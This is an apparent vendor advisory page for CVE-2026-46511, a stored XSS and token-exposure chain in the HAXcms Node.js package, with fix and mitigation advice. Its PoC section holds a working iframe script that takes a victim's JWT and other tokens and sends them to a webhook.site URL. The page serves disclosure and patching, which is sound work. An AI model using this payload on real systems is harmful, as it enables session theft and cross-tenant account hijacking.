CVE-2026-46511
CVE-2026-46511 is a Cross-site Scripting (XSS) vulnerability in @haxtheweb/haxcms-nodejs. O3 Security confirms whether CVE-2026-46511 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46511.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@haxtheweb/haxcms-nodejsnpmDescription
Summary
An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.
Details
In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.
While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:
- The Vector: The system is vulnerable to Stored XSS (e.g., via injected
iframesrcdocor<video-player>). - The Exposure: Because the
connectionSettingsendpoint serves the tokens locally based on the activePHPSESSIDcookie, any malicious script running in the browser context can intercept these keys. - The Chain: HAXcms isolates user environments by URL path (
/<username>/). An attacker can use XSS to force the victim's browser to fetch their target username's specific settings viafetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.
PoC
1. Setup the Webhook Target
Prepare an external webhook (e.g., webhook.site) to receive the stolen data.
2. Inject the "Kill Chain" Payload
As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):
<iframe srcdoc="<script>
const targetUsername = 'bto108'; // Replace with target victim
fetch(`/${targetUsername}/system/api/connectionSettings`)
.then(res => res.text())
.then(data => {
const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
let aToken = 'N/A';
if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
aToken = s.appStore.params.appstore_token;
}
// Exfiltrate via Image Request to bypass CORS
const payload = btoa(JSON.stringify({
target: targetUsername,
jwt: s.jwt,
user_token: uToken,
site_token: sToken,
appstore_token: aToken
}));
new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
});
</script>" style="display:none"></iframe>
3. Execution & Verification
- When the victim (e.g., user
bto108) views the compromised page, their browser automatically fires thefetchrequest, silently attaching their active session cookie. - The server responds with their connection settings.
- The script parses their
jwt,user_token, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook.
Screenshots confirming the data leakage and webhook capture:
Impact
Critical Severity.
This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).
The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @haxtheweb/haxcms-nodejs | all versions | 26.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @haxtheweb/haxcms-nodejs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @haxtheweb/haxcms-nodejs to 26.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46511 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-46511 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-46511. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-46511 in your dependencies?
O3 detects CVE-2026-46511 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.